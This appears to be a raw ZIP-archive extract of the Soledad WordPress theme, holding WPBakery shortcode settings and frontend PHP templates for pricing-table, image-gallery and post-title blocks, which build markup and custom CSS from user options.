				'heading'          => esc_html__( 'Button background hover color', 'soledad' ),
				'param_name'       => 'btn_hbgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button border hover color', 'soledad' ),
				'param_name'       => 'btn_hborcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button text hover color', 'soledad' ),
				'param_name'       => 'btn_text_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_btn_fsize',
				'heading'          => __( 'Font Size for Pricing', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => '_btn_typo',
				'value'      => '',
			),
		), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\Oҏ$  $  5  inc/js_composer/shortcodes/pricing_table/frontend.phpnu [        <?php
$output = $el_class = $css_animation = $css = '';

$_design_style = $_use_img = $_image = '';
$image_width   = $image_height = $image_mar_top = $image_mar_bottom = $responsive_spacing = '';
$_heading      = $_subheading = $_price = $_unit = '';
$_btn_text     = $_btn_link = $_featured = $min_height = '';

$_heading_mar_bottom = $_subheading_mar_b = $_price_mar_bottom = '';
$_unit_mar_bottom    = $_features_martop = $_features_bottom = $item_fea_bottom = '';
$btn_mar_top         = $btn_width = $btn_height = '';

$bg_color          = $border_color = '';
$_heading_color    = $_heading_fsize = $_heading_typo = '';
$_subheading_color = $_subheading_fsize = $_subheading_typo = '';
$_price_color      = $_price_fsize = $_price_typo = '';
$_unit_color       = $_unit_fsize = $_unit_typo = '';
$features_color    = $features_fsize = $features_typo = '';
$btn_bgcolor       = $btn_borcolor = $btn_text_color = '';
$btn_hbgcolor      = $btn_hborcolor = $btn_text_hcolor = '';
$_btn_fsize        = $_btn_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$css_class = 'penci-pricing-table';
$css_class .= ' penci-pricing-item';
$css_class .= 'yes' == $_featured ? ' penci-pricing_featured' : '';
$css_class .= $_design_style ? ' penci-pricing-' . esc_attr( $_design_style ) : '';

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'pricing_table' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		if ( 'yes' == $_featured && 's2' == $_design_style ) {
			echo '<span class="penci-pricing-ribbon">' . penci_icon_by_ver( 'fas fa-star' ) . '</span>';
		}
		?>
        <div class="penci-block_content">
			<?php
			echo '<div class="penci-pricing-header">';
			if ( $_image && 'yes' == $_use_img ) {
				echo '<div class="penci-pricing-image"><img alt="" src="' . esc_url( wp_get_attachment_url( $_image ) ) . '"></div>';
			}
			if ( $_heading ) {
				echo '<div class="penci-pricing-title">' . do_shortcode( $_heading ) . '</div>';
			}

			if ( $_subheading ) {
				echo '<div class="penci-pricing-subtitle">' . do_shortcode( $_subheading ) . '</div>';
			}
			echo '</div>';

			if ( $_price || $_unit ) {
				echo '<div class="penci-price-unit">';

				if ( $_price ) {
					echo '<span class="penci-pricing-price">' . do_shortcode( $_price ) . '</span>';
				}

				if ( $_unit ) {
					echo '<span class="penci-pricing-unit">' . do_shortcode( $_unit ) . '</span>';
				}

				echo '</div>';
			}

			if ( $content ) {
				$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $content ) . "\n" );
				$content = do_shortcode( shortcode_unautop( $content ) );

				echo '<div class="penci-pricing-featured">' . $content . '</div>';
			}

			if ( $atts['_btn_text'] ) {
				$a_before = '<span class="penci-pricing-btn button">';
				$a_after  = '</span>';

				if ( $_btn_link ) {
					$url = vc_build_link( $_btn_link );
					if ( strlen( $url['url'] ) > 0 ) {
						$rel = '';
						if ( ! empty( $url['rel'] ) ) {
							$rel = ' rel="' . esc_attr( $url['rel'] ) . '"';
						}

						$a_before = '<a class="penci-pricing-btn penci-button" href="' . esc_attr( $url['url'] ) . '" ' . $rel . ' title="' . esc_attr( $url['title'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '">';
						$a_after  = '</a>';
					}
				}
				echo $a_before . do_shortcode( $_btn_text ) . $a_after;
			}
			?>
        </div>
    </div>
<?php
$css_custom       = '';
$id_pricing_table = '#' . $block_id;
$id_pricing_table2 = 'body:not(.pcdm-enable) #' . $block_id;

// General
if ( $bg_color ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ background-color:' . esc_attr( $bg_color ) . '; }';
}
if ( $border_color ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ border-color:' . esc_attr( $border_color ) . '; }';
}
if ( $min_height ) {
	$css_custom .= $id_pricing_table2 . '.penci-pricing-item{ min-height:' . esc_attr( $min_height ) . 'px; }';
}

// Image
if ( $_image && $_use_img ) {
	$custom_img_css = '';

	if ( $image_width ) {
		$custom_img_css .= 'width:' . esc_attr( $image_width ) . ';';
	}
	if ( $image_height ) {
		$custom_img_css .= 'height:' . esc_attr( $image_height ) . ';';
	}
	if ( $image_mar_top ) {
		$custom_img_css .= 'margin-top:' . esc_attr( $image_mar_top ) . ';';
	}
	if ( $image_height ) {
		$custom_img_css .= 'margin-bottom:' . esc_attr( $image_mar_bottom ) . ';';
	}

	if ( $custom_img_css ) {
		$css_custom .= $id_pricing_table . ' .penci-pricing-image{' . $custom_img_css . '}';
	}
}
// Heading
if ( $_heading_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-title{ color:' . esc_attr( $_heading_color ) . '; }';
}
if ( $_heading_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-title{ margin-bottom:' . esc_attr( $_heading_mar_bottom ) . '; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_heading_fsize,
	'font_style' => $_heading_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-title{ %s }',
) );

// Sub heading
if ( $_subheading_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-subtitle{ color:' . esc_attr( $_subheading_color ) . '; }';
}
if ( $_subheading_mar_b ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-subtitle{ margin-bottom:' . esc_attr( $_subheading_mar_b ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_subheading_fsize,
	'font_style' => $_subheading_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-subtitle{ %s }',
) );

// Pricing
if ( $_price_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-price{ color:' . esc_attr( $_price_color ) . '; }';
}
if ( $_price_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-price{ margin-bottom:' . esc_attr( $_price_mar_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_price_fsize,
	'font_style' => $_price_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-price{ %s }',
) );

// Unit
if ( $_unit_color ) {
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-unit{ color:' . esc_attr( $_unit_color ) . '; }';
}
if ( $_unit_mar_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-unit{ margin-bottom:' . esc_attr( $_unit_mar_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_unit_fsize,
	'font_style' => $_unit_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-unit{ %s }',
) );
// Featured
if ( $features_color ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured li,';
	$css_custom .= $id_pricing_table2 . ' .penci-pricing-featured{ color:' . esc_attr( $features_color ) . '; }';
}
if ( $_features_martop ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured{ margin-top:' . esc_attr( $_features_martop ) . '; }';
}
if ( $_features_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured{ margin-bottom:' . esc_attr( $_features_bottom ) . '; }';
}
if ( $item_fea_bottom ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-featured li{ margin-bottom:' . esc_attr( $item_fea_bottom ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $features_fsize,
	'font_style' => $features_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-featured{ %s }',
) );

// Button
$btn_custom_css = '';
if ( $btn_mar_top ) {
	$btn_custom_css .= 'margin-top:' . esc_attr( $btn_mar_top ) . ';';
}
if ( $btn_width ) {
	$btn_custom_css .= 'width:' . esc_attr( $btn_width ) . ';';
}
if ( $btn_height ) {
	$btn_custom_css .= 'height:' . esc_attr( $btn_height ) . ';';
}

if ( $btn_bgcolor ) {
	$btn_custom_css .= 'background-color:' . esc_attr( $btn_bgcolor ) . ';';
}
if ( $btn_borcolor ) {
	$btn_custom_css .= 'border-color:' . esc_attr( $btn_borcolor ) . ';';
}
if ( $btn_text_color ) {
	$btn_custom_css .= 'color:' . esc_attr( $btn_text_color ) . ';';
}
if ( $btn_custom_css ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-btn{' . esc_attr( $btn_custom_css ) . '}';
}
$btn_custom_hover_css = '';
if ( $btn_hbgcolor ) {
	$btn_custom_hover_css .= 'background-color:' . esc_attr( $btn_hbgcolor ) . ';';
}
if ( $btn_hborcolor ) {
	$btn_custom_hover_css .= 'border-color:' . esc_attr( $btn_hborcolor ) . ';';
}
if ( $btn_text_hcolor ) {
	$btn_custom_hover_css .= 'color:' . esc_attr( $btn_text_hcolor ) . ';';
}
if ( $btn_custom_hover_css ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-btn:hover{' . esc_attr( $btn_custom_hover_css ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_btn_fsize,
	'font_style' => $_btn_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-btn{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_pricing_table, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\    5  inc/js_composer/shortcodes/image_gallery/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_image_gallery",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/image_gallery/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Image Gallery', 'soledad' ),
	'description'   => 'Image Gallery Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Select style gallery display', 'soledad' ),
				'param_name' => 'style_gallery',
				'std'        => 's1',
				'value'      => array(
					__( 'Style 1 ( Grid )', 'soledad' )             => 's1',
					__( 'Style 2 ( Mixed )', 'soledad' )            => 's2',
					__( 'Style 3 ( Mixed 2 )', 'soledad' )          => 's3',
					__( 'Style 4 ( Justified )', 'soledad' )        => 'justified',
					__( 'Style 5 ( Masonry )', 'soledad' )          => 'masonry',
					__( 'Style 6 ( Slider )', 'soledad' )           => 'single-slider',
					__( 'Style 7 ( Thumbnail Slider )', 'soledad' ) => 'thumbnail-slider',
				),
			),
			array(
				'type'        => 'attach_images',
				'heading'     => __( 'Images', 'soledad' ),
				'param_name'  => 'images',
				'value'       => '',
				'description' => __( 'Select images from media library.', 'soledad' ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Size', 'soledad' ),
				'param_name' => 'penci_img_size',
				'std'        => 'medium_large',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes(),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 's2', 's3' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Size for Big Image', 'soledad' ),
				'param_name' => 'penci_img_size_bitem',
				'std'        => 'penci-full-thumb',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes(),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's2', 's3' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Type', 'soledad' ),
				'param_name' => 'penci_img_type',
				'value'      => array(
					__( '-- Default --', 'soledad' ) => '',
					__( 'Landscape', 'soledad' )     => 'landscape',
					__( 'Vertical', 'soledad' )      => 'vertical',
					__( 'Square', 'soledad' )        => 'square',
				),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 's2', 's3' ) ),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Caption', 'soledad' ),
				'param_name'       => 'caption_source',
				'value'            => array(
					__( 'Attachment Caption', 'soledad' ) => 'img',
					__( 'None', 'soledad' )               => 'none',
				),
				'std'              => 'img',
				'edit_field_class' => 'vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Columns', 'soledad' ),
				'param_name' => 'gallery_columns',
				'value'      => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'std'        => '3',
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 'masonry' ) ),
			),
			array(
				'type'             => 'penci_slider',
				'param_name'       => 'row_gap',
				'heading'          => __( 'Rows Gap', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'penci_slider',
				'param_name'       => 'col_gap',
				'heading'          => __( 'Columns Gap', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'gallery_height',
				'heading'          => __( 'Custom the height of images', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 'justified', 'masonry' ) ),

			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Autoplay', 'soledad' ),
				'param_name'  => 'slider_autoplay',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'dependency'  => array( 'element' => 'style_gallery', 'value' => array( 'single-slider' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_gallery_settings',
				'heading'          => esc_html__( 'Gallery', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon Color', 'soledad' ),
				'param_name'       => 'p_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'p_icon_size',
				'heading'    => __( 'Size Icon', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Overlay Background Color', 'soledad' ),
				'param_name'       => 'p_overlay_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\K7G(  (  5  inc/js_composer/shortcodes/image_gallery/frontend.phpnu [        <?php

$el_class            = $css_animation = $css = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $caption_source = '';
$style_gallery       = $images = $auto_play = $disable_loop = $auto_time = $speed = $gallery_height = '';

$penci_img_size = $penci_img_size_bitem = $penci_img_type = $gallery_columns = $slider_autoplay = '';
$row_gap        = $col_gap = '';

$p_icon_color = $p_icon_size = $p_overlay_bgcolor = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );


if ( ! $images ) {
	return;
}
$images = explode( ',', $images );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-image-gallery';
$css_class .= ' penci-image-gallery-' . $style_gallery;

if ( 's1' == $style_gallery ) {
	$css_class .= ' pencisc-grid-' . $gallery_columns;
}

if ( 'img' == $caption_source ) {
	$caption_source = 'attachment';
} else {
	$css_class .= ' penci-image-not-caption';
}

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$slider_id      = rand( 1000, 100000 );
$block_id       = 'penci-image_gallery_' . $slider_id;
$thumbnail_html = '';
?>
    <div data-sliderid="<?php echo esc_attr( $slider_id ); ?>" id="<?php echo esc_attr( $block_id ); ?>"
         class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content <?php echo esc_attr( 's1' == $style_gallery ? ' pencisc-grid' : '' ); ?>">
			<?php
			$total_img = is_array( $images ) ? count( (array) $images ) : 0;
			$gal_2_i   = $gal_count = 0;

			if ( 's2' == $style_gallery ) {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}

					$class_item         = 'penci-gallery-small-item';
					$penci_img_size_pre = $penci_img_size;
					if ( $gal_count == 1 ) {
						$penci_img_size_pre = $penci_img_size_bitem;
						$class_item         = 'penci-gallery-big-item';
					}

					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size_pre, $penci_img_type, true, $gal_count, $class_item, $caption_source );

					if ( $gal_count == 1 ) {
						echo '<div class="penci-post-smalls">';
					}

					if ( 5 == $gal_count || $gal_2_i == $total_img ) {
						$gal_count = 0;
						echo '</div>';
					}
				}
			} elseif ( 's3' == $style_gallery ) {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}

					$class_item = 'penci-gallery-small-item';
					if ( $gal_count == 1 || $gal_count == 2 ) {
						$penci_img_size = $penci_img_size_bitem;
						$class_item     = 'penci-gallery-big-item';
					}

					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, $class_item, $caption_source );

					if ( 5 == $gal_count || $gal_2_i == $total_img ) {
						$gal_count = 0;
					}
				}
			} elseif ( 'justified' == $style_gallery || 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
				$data_height = '150';

				if ( is_numeric( $gallery_height ) && 60 < $gallery_height ) {
					$data_height = $gallery_height;
				}

				echo '<div class="penci-post-gallery-container ' . $style_gallery . ' column-' . $gallery_columns . '" data-height="' . $data_height . '" data-margin="3">';

				if ( 'masonry' == $style_gallery ) {
					echo '<div class="inner-gallery-masonry-container">';
				}

				if ( 'single-slider' == $style_gallery ) {
					echo '<div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible" data-auto="' . ( 'yes' == $slider_autoplay ? 'true' : 'false' ) . '" data-lazy="true"><div class="swiper-wrapper">';
				}

				$posts = get_posts( array( 'include' => $images, 'post_type' => 'attachment' ) );

				if ( $style_gallery == 'thumbnail-slider' ):
					echo '<div data-id="pcthumb-m-' . $slider_id . '" class="swiper penci-slick-carousel pcthumb-s-msl pcthumb-m-' . $slider_id . '"><div class="swiper-wrapper">';
				endif;


				if ( $posts ) {
					foreach ( $posts as $imagePost ) {
						$caption       = '';
						$gallery_title = '';
						if ( $imagePost->post_excerpt ):
							$caption = $imagePost->post_excerpt;
						endif;
						if ( $caption && 'attachment' == $caption_source ) {
							$gallery_title = ' data-cap="' . esc_attr( $caption ) . '"';
						}

						$get_full    = wp_get_attachment_image_src( $imagePost->ID, 'full' );
						$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-masonry-thumb' );
						$thumbsize   = 'penci-masonry-thumb';

						$image_alt        = penci_get_image_alt( $imagePost->ID, get_the_ID() );
						$image_title_html = penci_get_image_title( $imagePost->ID );

						$class_a_item = 'penci-gallery-ite';
						if ( 'masonry' != $style_gallery ) {
							$class_a_item = 'penci-gallery-ite item-gallery-' . $style_gallery;
						}

						if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' ) {
							$class_a_item .= ' item-link-relative';
						}

						if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
							echo '<figure class="swiper-slide">';
							$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-full-thumb' );
							$thumbsize   = 'penci-full-thumb';
						}
						if ( 'masonry' == $style_gallery ) {
							echo '<div class="item-gallery-' . $style_gallery . '">';
						}

						echo '<a class="' . $class_a_item . ( 'attachment' != $caption_source ? ' added-caption' : '' ) . '" href="' . $get_full[0] . '"' . $gallery_title . ' data-rel="penci-gallery-image-content">';

						if ( 'masonry' == $style_gallery ) {
							echo '<div class="inner-item-masonry-gallery">';
						}

						if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' ) {
							echo penci_get_ratio_img_basedid( $imagePost->ID, $thumbsize );
						}
						echo '<img class="" src="' . $get_masonry[0] . '" alt="' . $image_alt . '"' . $image_title_html . '>';

						if ( $style_gallery == 'justified' && $caption && 'attachment' == $caption_source ) {
							echo '<div class="caption">' . wp_kses( $caption, array(
									'em'     => array(),
									'strong' => array(),
									'b'      => array(),
									'i'      => array()
								) ) . '</div>';
						}
						if ( 'masonry' == $style_gallery ) {
							echo '</div>';
						}

						echo '</a>';

						// Close item-gallery-' . $style_gallery . '-wrap
						if ( 'masonry' == $style_gallery ) {
							echo '</div>';
						}

						if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
							if ( $caption ) {
								echo '<p class="penci-single-gallery-captions">' . $caption . '</p>';
							}
							echo '</figure>';
						}

						if ( $style_gallery == 'thumbnail-slider' ) {
							$get_thumbnail_slider_img = wp_get_attachment_image_src( $imagePost->ID, 'thumbnail' );
							$thumbnail_html           .= '<div class="pcgl-thumb-item swiper-slide"><div class="pcgl-thumb-item-img"><span class="penci-image-holder" style="background-image:url(' . $get_thumbnail_slider_img[0] . ')"></div></div>';
						}
					}
				}

				if ( 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					echo '</div>';
				}

				if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					echo '</div>';
				}

				if ($style_gallery == 'thumbnail-slider') {
					$nav = '<div class="penci-slick-carousel-top-nav"><div class="pcslick-nav-area"><div class="pcslick-nav"><button type="button" class="slick-prev"><i class="penciicon-left-chevron"></i></button><button type="button" class="slick-next"><i class="penciicon-right-chevron"></i></button></div><div class="slider-num"><span class="current">1</span>' . __(' of ', 'soledad') . '<span class="total">' . count($posts) . '</span></div></div></div>';
					echo '<div data-cols="7" data-total="'.count($posts).'" data-id="pcthumb-c-' . $slider_id . '" class="swiper pcthumb-s-csl pcgl-thumb-slider penci-slick-carousel pcthumb-c-' . $slider_id . '"><div class="swiper-wrapper">' . $thumbnail_html . '</div>'.$nav.'</div>';
				}

				echo '</div>';
			} else {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}
					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, '', $caption_source );
				}
			}

			?>
        </div>
    </div>
<?php
$id_image_gallery  = '#' . $block_id;
$id_image_gallery2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom        = Penci_Vc_Helper::get_heading_block_css( $id_image_gallery, $atts );

$row_col_gap = '';
if ( $row_gap ) {
	$row_col_gap .= 'grid-row-gap: ' . esc_attr( $row_gap ) . ';';
}
if ( $col_gap ) {
	$row_col_gap .= 'grid-column-gap: ' . esc_attr( $col_gap ) . ';';
}
if ( $row_col_gap ) {
	$css_custom .= $id_image_gallery . ' .pencisc-grid{' . esc_attr( $row_col_gap ) . '}';
}
if ( $p_icon_color ) {
	$css_custom .= $id_image_gallery2 . ' .penci-gallery-item i{ color:' . esc_attr( $p_icon_color ) . '; }';
}
if ( $p_icon_size ) {
	$css_custom .= $id_image_gallery . ' .penci-gallery-item i{ font-size:' . esc_attr( $p_icon_size ) . '; }';
}
if ( $p_overlay_bgcolor ) {
	$css_custom .= $id_image_gallery2 . ' .penci-gallery-item a::after{ background-color:' . esc_attr( $p_overlay_bgcolor ) . '; }';
}
if ( $penci_img_type ) {
	if ( 'square' == $penci_img_type ) {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 100%; }';
	} elseif ( 'vertical' == $penci_img_type ) {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 135.4%; }';
	} else {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
	}
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_image_gallery, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\~} v    7  inc/js_composer/shortcodes/pc_single_title/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_title",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_title/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Title', 'soledad' ),
	'description'   => 'Post Builder - Author',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Title Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Heading Line', 'soledad' ),
			'param_name'       => 'heading_line',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
			'param_name'       => 'use_ptitle_typo',
			'value'            => 'no',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Color', 'soledad' ),
			'param_name'       => 'heading-line-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Spacing with Title', 'soledad' ),
			'param_name'       => 'heading-line-s',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Width', 'soledad' ),
			'param_name'       => 'heading-line-w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Height', 'soledad' ),
			'param_name'       => 'heading-line-h',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\v#Ձ    7  inc/js_composer/shortcodes/pc_single_title/frontend.phpnu [        <?php
$settings      = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id      = Penci_Vc_Helper::get_unique_id_block( 'pc_single_title' );
